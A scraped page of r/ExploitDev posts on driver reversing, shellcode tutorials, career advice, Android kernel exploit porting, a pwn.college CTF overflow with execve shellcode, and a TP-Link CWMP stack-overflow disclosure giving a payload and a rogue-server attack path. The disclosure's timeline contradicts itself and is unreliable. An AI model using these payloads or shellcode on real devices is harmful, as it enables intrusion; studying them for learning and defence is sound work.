r/ExploitDev • • Aug 11 '25

Don't look at the de-compilation code while reversing device drivers

Post image
35 Upvotes

When you reversing device drivers, always you pain with the de-compile code from Ghidra and also IDA Pro,

if the driver create symbolic link and has function for IOCTL_Handler you will find code like that:

ReturnLength = 0;

MasterIrp = Irp->AssociatedIrp.MasterIrp;

Type = *(_QWORD *)&MasterIrp->Type;

if ( CurrentStackLocation->Parameters.Create.Options == 8 && CurrentStackLocation->Parameters.Read.Length == 1044 )

{

if ( *(_WORD *)Type == 5 )

{

v7 = *(_QWORD *)(Type + 8);

if ( *(_WORD *)v7 == 3 )

This is mostly incorrect because for AssociatedIrp, in the assembly code from the picture and vergilius project help you for that, it's SystemBufer which the method of IOCTL.

and for Create.Options and Read.Length it's incorrect because we are in IRP_MJ_DEVICE_IO_CONTOL.
and that mean we accept this struct from IO_STACK_LOCATION

struct
{
ULONG OutputBufferLength; //0x8
ULONG InputBufferLength; //0x10
ULONG IoControlCode; //0x18
VOID* Type3InputBuffer; //0x20
} DeviceIoControl;

and for if ( *(_WORD *)Type == 5 )
it's checking for the first member of input struct as we see in the assembly code.

so after we know the correct de-compile, we assume this is the modified version of our pesudo-code

ReturnLength = 0;

MasterIrp = Irp->AssociatedIrp.SystemBuffer;

Type = &MasterIrp;

if ( CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength == 8 && CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength == 1044 )

{

if ( *(_WORD *)Type == 5 )//must be like USHORT FileType; and =5

{

v7 = *(_QWORD *)(Type + 8);//padding

if ( *(_WORD *)v7 == 3 )// also must be like USHORT Object; and =3

if I make incorrect, write a coment


r/ExploitDev • • Jun 11 '25

Building a Linux hook detection tool in pure Assembly because I hate myself (but love learning :D

35 Upvotes

I'm developing HookSneak-Guard, a security tool that detects inline hooks in running Linux processes by comparing memory code with clean disk versions, and I decided to write it entirely in x86-64 Assembly. No libc, no abstractions, just raw syscalls and register manipulation. The goal is to catch malware that patches system libraries by reading /proc/self/maps to find library addresses, parsing ELF headers, and comparing function bytes between memory and disk.

The journey has been... educational. I spent 3 hours debugging a segfault that turned out to be a misuse of repne scasb. String parsing, which would be one line in C, becomes 50+ instructions in Assembly. There's no safety net - wrong memory access means instant death. I celebrated for 10 minutes when I successfully opened /lib/x86_64-linux-gnu/libc.so.6 and got file descriptor 3. That's how low my bar for success has become. Buffer management without bounds checking is terrifying, and I keep forgetting to null-terminate strings, leading to creative crashes.

Currently, I'm implementing ELF header parsing, and every step forward reveals two more things I need to handle manually. But I'm starting to think in registers and syscalls instead of functions, and I finally understand what modern languages abstract away. The CPU doesn't care about your feelings or your segfaults everything is just bytes and addresses at this level. Is it practical? Hell no. Is it educational? Absolutely.


r/ExploitDev • • Dec 05 '24

Profit as exploit developer

35 Upvotes

Hey everyone! I am a pentester and learning about pwning/exploit dev because I have always loved it. Its fair say I am going to learn it anyway but I want to know if there is a way to make nice profit from it. Do you have a full time job? It's well paid (Im earning 25kusd/y in latam)? Is there a way to get a profit doing it as an independant expdev or hunter in some way? It is worth it ?

Thanks!!


r/ExploitDev • • Aug 06 '22

Drop your favorite resource for exploit dev

35 Upvotes

I want to start learning exploit dev, if you guys can help me with it or drop in your favorite resource that helped you get where you are, it would be great!

If someone has time and would like to answer a few questions, it would help me a lot too.


r/ExploitDev • • 10d ago

Win x64 Shellcode Part 4 – Calling Convention, Shadow Space, and Stack Alignment (with WinDbg walkthrough)

Thumbnail proteqtum.com
34 Upvotes

Wrote up part 4 of my shellcode series. This one focuses on the ABI mechanics that cause the most silent crashes in practice.

The interesting part is the stack alignment problem specific to shellcode: and rsp, 0xFFFFFFFFFFFFFFF0 is the standard first instruction, but if you don't save RSP to RBP first, the ret in your epilogue loads zero into RIP. The fix is straightforward once you understand what's happening, but the failure mode is subtle enough that it's worth a dedicated section.

Covers:

- Microsoft x64 calling convention and shadow space mechanics

- Why the callee owns shadow space (and what breaks when you forget)

- Stack alignment in shellcode vs. regular PE code

- Full calc.exe shellcode via WinExec with PEB traversal + ROR13

- WinDbg walkthrough of PEB -> Ldr -> export directory -> stack layout


r/ExploitDev • • 20d ago

Cybersecurity student trying to learn C for reverse engineering and red teaming, how should I go about this the right way?

34 Upvotes

Hello everyone, I hope your days are going well!

I'm currently learning C via "C Programming: A Modern Approach". The book itself is very informative, however I feel as if I am spending a lot of time on the exercises and programming projects. For example, I'm on the "Arrays" chapter, and it's taking me closer to 2 weeks to try and do every exercise and project. Would it be wise to continue doing this? Is this even the right way to go about it? I'm wanting to get into reverse engineering, and ethical Linux exploit development/vulnerability analysis. Basically red-team stuff, so I figured that doing this would be very beneficial in the long run.

One friend of mine told me it is worth it to take it slow, so that you can really understand how software works, and all the quirks/vulnerabilities that might be present. He said this will be useful once I get into writing and understanding how doubly linked lists work, since the Windows kernel uses a lot of them. Another said that I should only do a few projects so I can get to writing projects as soon as I can.

Which lane should I be prioritizing?


r/ExploitDev • • Oct 20 '26

Reverse engineering with AI

34 Upvotes

So I’ve been really interested in learning reverse engineering for a while and only tried my hand at a few crackmes so far. I found reverse engineering interesting because it feels rewarding to be able to piece together what the original code might have looked like and why the program behaves the way it does. I liked identifying variables and reconstructing data structures by reading the assembly or generated pseudo code by tools like ghidra since getting them right felt rewarding. Recently with AI becoming really good at the same things, I’m left wondering whether it’s worth it to learn these skills anymore. People were able to decompile and port entire games just using AI much faster than any person can. It’s left me feeling really discouraged about reverse engineering and wondering whether I should focus on other areas of exploit dev


r/ExploitDev • • Oct 10 '26

Recently graduated, now tasked with porting a kernel exploit. How do I approach this?

34 Upvotes

Hey everyone,

I graduated last year with a Bachelor's degree in Computer Science, and my current job requires me to port Ghostlock (CVE-2026-43499) to multiple android devices.

Honestly, a lot of it currently goes over my head. I think I understand the basic concept of a use-after-free vulnerability, but I don't understand how it works at the kernel level or how the exploit code actually works.

I'm also struggling to get the exploit working on my target device. Since I don't fully understand the exploit's internals or how the kernel processes the operations involved, I'm having a hard time figuring out what needs to be changed to make it work.

Here's what I have so far:

- Kernel panic logs from my attempts to run the exploit.

- The compiled kernel source code for my target device.

- The ability to modify the kernel source code and flash a custom kernel onto the device.

The problem is that I don't really know where to start. The kernel panic logs are difficult to understand, the exploit's source code is confusing, and navigating the relevant kernel code is equally challenging.

My current plan is to:

  1. Learn how to interpret the kernel panic logs.

  2. Understand the exploit's source code and how its different parts work.

  3. Trace the relevant operations through the kernel source code to understand what's happening internally.

  4. Use that understanding to troubleshoot the exploit and figure out what needs to change for my target device.

I'm not sure if this is the right approach or if I'm missing some important prerequisites.

For context, I'm still relatively new to low-level kernel exploitation, so I'm trying to figure out the best way to approach this without blindly changing things until they work.

For those experienced with Linux kernel exploitation or porting Android kernel exploits, how would you approach this problem? Are there any resources or concepts I should focus on first?

Any advice would be greatly appreciated!


r/ExploitDev • • Nov 02 '25

Just wrapped up the fourth post in my blog series on basic exploitation mitigations: this one on ASLR.

Thumbnail
andy.codes
34 Upvotes

Just wrapped up the fourth post in my blog series on basic exploitation mitigations: this one on ASLR.

The series so far:

Each post builds on the last, exploring how to break what’s meant to protect. Great for anyone diving into binary exploitation or CTFs.


r/ExploitDev • • May 08 '25

What is the best training/resource to learn Vulnerability Research?

34 Upvotes

Hi! I’ve been doing some vulnerability research professionally but lately I feel I would like to cover some gaps in my knowledge, often times I don’t know what I don’t know. I would like to also refine my strategies and methodology when doing VR. I saw these two trainings:

Do you have any opinion on those ones? Do you recommend a different one? I know these two specialize on Windows targets but my guess is that I can port these strategies to other systems as well, my main focus is on linux/embedded but some Windows as well.

Thank you all!


r/ExploitDev • • Mar 13 '25

CVE-2025-21333 Windows kernel heap buffer overflow analysis

Thumbnail
medium.com
34 Upvotes

Writeup showing how to craft a POC exploit for a windows kernel heap-based buffer overflow in the paged pool.

Full POC code available here: https://github.com/MrAle98/CVE-2025-21333-POC


r/ExploitDev • • Sep 04 '24

Just received this nice little bundle.

34 Upvotes

Can't wait to get started!


r/ExploitDev • • Aug 28 '26

Job hunt

Post image
33 Upvotes

I am a junior vulnerability researcher looking for a security research position (4years background in SOC stuff).

This is my first year in the field and hunting for a position where i can learn and grow.

I have some public work (https://saaitaamaa.github.io/)

Any type of gig (full time, part time internships is okay for me)

Located in north africa, feel free to DM for further infos :)


r/ExploitDev • • Aug 08 '26

How do you actually make the jump into exploit dev full-time?

33 Upvotes

Hey,

Looking for some advice from people who work in exploit dev / low-level vuln research.

I already work in security and have been doing vulnerability research alongside more general security work for a while. I’ve had opportunities to do reversing, native-code research, memory corruption, and some exploit development, including taking bugs beyond just finding a crash and actually working out useful primitives / PoCs.

The problem is that this kind of work still isn't my main job, and I really want it to be.

I've been looking at dedicated exploit dev / vulnerability research positions and I feel like I'm stuck in a weird middle ground. I'm not trying to enter security from scratch, and I do have relevant experience, but I also don't have years and years of dedicated browser/kernel/mobile exploit development behind me.

A lot of the jobs I find seem to be looking for people who are already extremely specialised, rather than people who have a decent foundation and want to grow deeper into exploit development.

There's also the location issue. I'm outside most of the major exploit-dev hiring hubs, and quite a few roles I come across are limited by citizenship, clearance, residency, or simply don't hire internationally.

Another problem is that most of the interesting professional research I've done isn't something I can publish, so it's difficult to show potential employers exactly what I've worked on.

For those of you doing this professionally:

*What actually got you your first dedicated exploit dev / low-level VR job?

* What would you want to see from someone who already has some relevant experience but hasn't spent their entire career doing exploit development?

* What kind of public research/projects are actually worth doing to prove ability?

*Is native userland exploitation still a reasonable area to focus on, or would I be better off going hard into something like browsers, kernels, or mobile?

* Do companies that are willing to develop people into this kind of role actually exist, or is the expectation generally that you're already very good before they'll hire you?

* For people outside the main US/EU hiring markets, how did you find opportunities?

* I'm mainly trying to figure out whether I'm approaching this transition the wrong way.

I enjoy this stuff way more than the broader security work I do, and I'm willing to put the work in. I just don't want to spend a year grinding in a direction that isn't actually going to help me make the jump.

Would appreciate any advice.


r/ExploitDev • • Feb 27 '26

is still learn exploit development in 2026 is a good idea with the new revolution of AI ?

33 Upvotes

hello All ,

im currently working as red team operation leader Im also OSCE3 OSMR certified ,when I have started my offsec journey I fall in love with exploit development but I have stop learning the exploit development because I have realized that I can not make living with this unless im a super expert in it which make me first focus on something that I can do living from.

when I done OSED, I have done a good things as exploitation, but for sure this is only the start of the road.

now days , we are facing ASLR, DEP, KASLR, PPL,MTE , CF Guard , and a lot of mitigations.

also now days we are facing the AI revolution, to find most exploitable bugs is like a pattern but very hard pattern for normal source code review tools to detect also hard pattern for human to understand and easily spot it, BUT ! it is very easy for AI to spot the vulnerable code from source code or even from decompiled version.

my main question,

if I will continue learn exploit development, I will spend too much money on boot camps and OSEE or even spend too much time to learn and practice a lot on it, mean while the whole world is advancing introducing new mitigations and AI is funding the bugs like it is just a click.

what is the future of this job ?

many thanks,


r/ExploitDev • • Aug 04 '25

Anyone doing pwn.college reverse engineering challenges??

33 Upvotes

So I am interested in reverse engineering and someone suggested me this platform but I am having some problems in creating cimg file with proper input because input required is too large and I don't know how to assemble it because when it was small I did it manually like echoing it in file but in later challenges input required became very large so can anyone tell me what should I do

And any more suggestions if I want to be good at reverse engineering


r/ExploitDev • • Jul 05 '25

Future Exploit dev

33 Upvotes

Hi I have searched for this but didn't got a straight forward answer I want to start learning exploit dev but i have this feeling that i arrived too late after rust have been introduced and it is gaining popularity and it only have chance to find something if unsafe was used or if there was problems in the compiler itself so the attack surface seems tooooo small and there is a revolution in seurity and metigations I beleive it would take more then 2 years to be an exploit developer So is there any future for this field or i just have to forget about this dream


r/ExploitDev • • Oct 15 '24

exploit market shifting

Post image
33 Upvotes

on Intelligence Online it says Zerodium has been inactive for months and another post about the zero day market restructuring. I can’t see more details bc it has a ridiculous paywall of like a thousand bucks.

anyone know any details behind what’s going on?


r/ExploitDev • • Jul 06 '22

Linux Kernel Exploitation Techniques: modprobe_path

Thumbnail
sam4k.com
33 Upvotes

r/ExploitDev • • Oct 24 '26

[Writeup] Rooting a locked bootloader phone with Ghostlock using deepseek

Thumbnail tusharpandey.com
32 Upvotes

r/ExploitDev • • Jan 01 '26

Malware analyst to exploit dev

32 Upvotes

Hello everyone who read this post.

As per the title, I reverse malware binaries for a couple of years now. Right now, I am offered an opportunity to pivot over to application security research that focuses on reversing softwares to find vulnerabilities and develop exploits.

Really unsure what this pivot entails, so would like to hear opinions from seniors in this field. What should I keep a look out for and how should I better prepare myself for such a new role?

Also, with the advent of AI, will this pivot be risky?


r/ExploitDev • • Oct 06 '25

Exploitpack kernel exploitations course

32 Upvotes

Anyone heard of exploitpack, I connected with Juan Sacco on linkedin and he sent me his course on Windows kernel exploitation. I've just been doing pwn.college blue belt and going through CVE's to weaponize them and wanted to move into kernel stuff and not just userland. Can anyone verify if its legit or offer alternatives to getting into kernel exploits?


r/ExploitDev • • Sep 14 '25

Buffer Overflow + Shellcode fail outside GDB

32 Upvotes

Hi — I’m working on a CTF challenge on the pwn.college platform (challenge name: Hijack to Shellcode (HARD)) in the Intro to Cybersecurity → Binary Exploitation lab:
https://pwn.college/intro-to-cybersecurity/binary-exploitation

The binary has a buffer overflow and ASLR is disabled, so I can predict stack addresses once the program is loaded. The challenge calls a challenge() function which calls read() to read up to 4096 bytes from stdin into a buffer located at rbp-0x90. Knowing that, I only need 0x90 + 8 bytes to overwrite saved rbp and then 8 more bytes to overwrite the saved return address so it points to my shellcode. My intended payload layout (pseudocode) is:

```python

payload = b'\x00' * 0x90 # fill buffer
+ b'\x00' * 8 # overwrite saved rbp
+ <address_of_shellcode> # overwrite saved RIP
+ shellcode # shellcode placed on stack

```

In GDB I determined the saved return address on the stack was at 0x7fffffffd608, so I overwrote it with 0x7fffffffd610 and placed the shellcode immediately after. My shellcode (assembled from the following) spawns /bin/bash:

```asm

.intel_syntax noprefix

.global _start
_start:
lea rdi, [rip+binary]
mov rsi, 0
xor rdx, rdx
mov rax, 59
syscall
binary:
.string "/bin/bash"

```

I planned to add -p later to preserve privileges, but first I wanted a working exploit. In GDB the exploit works — I placed an int3 (SIGTRAP) at the start of the shellcode and it hit in GDB. However, running the exact same payload outside of GDB causes a segmentation fault. I tried to remove environment differences with env - but it still only works under GDB.

What am I missing? Any ideas why it would work under GDB but segfault when run normally?


r/ExploitDev • • Sep 01 '25

ZERO-DAY ALERT: Automated Discovery of Critical CWMP Stack Overflow in TP-Link Routers

Thumbnail
medium.com
32 Upvotes

TL;DR: Discovered an unpatched zero-day in TP-Link routers (AX10/AX1500) that allows remote code execution. Reported to TP-Link on May 11th, 2024 - still unpatched. 4,247 vulnerable devices found online.

The Discovery

Used automated taint analysis to find a stack-based buffer overflow in TP-Link's CWMP (TR-069) implementation. The vulnerability exists in function sub_1e294 that processes SOAP SetParameterValues messages.

Key Technical Details:

  • Stack buffer: 3072 bytes

  • PC register overwrite: 3112 bytes (payload: "A"*3108 + "BBBB")

  • Result: pc = 0x42424242 (full control)

  • Canary exploit mitigations

Proof of Concept

// Vulnerable code pattern
char* result_2 = strstr(s, "cwmp:SetParameterValues");
// Size calculated from user input - BAD PRACTICE
strncpy(stack_buffer, user_data, calculated_size); 
// OVERFLOW!

Exploitation requires setting a malicious CWMP server URL in router config, then device connects and gets pwned.

Impact

Affected Models:

  • TP-Link Archer AX10 (all hardware versions V1, V1.2, V2, V2.6)

  • TP-Link Archer AX1500 (identical binary)

  • Potentially: EX141, Archer VR400, TD-W9970

Firmware Versions: 1.3.2, 1.3.8, 1.3.9, 1.3.10 (all vulnerable)

Internet Exposure: 4,247 unique IPs confirmed vulnerable via Fofa search

Why This Matters

Router security is often terrible - default passwords, weak configs, other vulns. Getting config access isn't that hard, and setting up a rogue CWMP server is trivial. Once you change the TR-069 server URL, the router connects to your malicious server and you get root.

Timeline

  • Discovery: January 2025 (automated analysis)

  • Vendor Notification: May 11th, 2024

  • Current Status: Probably Patched

  • Public Disclosure: Now